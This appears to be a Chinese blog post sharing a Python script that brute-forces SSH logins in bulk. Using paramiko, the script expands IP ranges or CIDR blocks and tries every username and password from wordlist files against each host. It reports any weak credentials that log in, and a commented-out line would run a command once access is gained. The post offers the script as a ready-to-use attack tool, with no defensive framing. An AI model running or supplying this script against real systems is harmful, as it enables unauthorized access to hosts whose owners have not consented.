python密码爆破脚本_批量爆破SSH密码 python脚本

import paramiko

import re

from IPy import IP

import sys,ftplib,socket

my_re = re.compile(r'[A-Za-z]',re.S)

# 读取文件

def open_file(file_name):

data = []

try :

for line in open(file_name):

test = line.strip('\n')

data.append(test)

return data

except IOError:

print("[-]文件名:"+file_name+'读取异常')

return data

def IPs(ip):

res = re.findall(my_re, ip)

if len(res) == 0: #判断是否存在英文字符,如果没有,直接进行IP操作,如果有,进行文件读取操作

IPS = []

s1 = "/"

s2 = "-"

if ip.find(s1) > 0:#如果传入的字符串满足192.168.10.0/24这种形式,则调用IP库进行处理

ip1 = IP(ip)

for i in ip1:

IPS.append(i)

elif (str(ip).find(s2)) > 0:

for i in range(int(str(ip)[str(ip).rfind('.') + 1:str(ip).rfind('-')]),

int(str(ip)[str(ip).rfind('-') + 1:]) + 1):

IPS.append(str(ip)[:str(ip).rfind('.') + 1] + str(i))

return IPS

else:

return open_file(ip)

def ssh(ip,port,username,passwd):

ips = IPs(ip)

user = open_file(username)

password = open_file(passwd)

#三层嵌套for循环,检测密码是否正确

for i in ips :

for j in user :

for k in password:

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # 跳过了远程连接中选择‘是’的环节,

try:

print('[*]正在检测 用户名:' +j +",密码:" + k )

ssh.connect(i, int(port), j, k)

print('[!]检测到弱口令,主机:' + i +",用户名:"+j+"密码:"+k )

# stdin, stdout, stderr = ssh.exec_command('whoami')

# print(str(stdout.read(),'utf-8'))

except paramiko.ssh_exception.AuthenticationException:

pass

except paramiko.ssh_exception.SSHException:

pass

#ssh("192.168.154.134-135",22,"username.txt",'passwd.txt')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值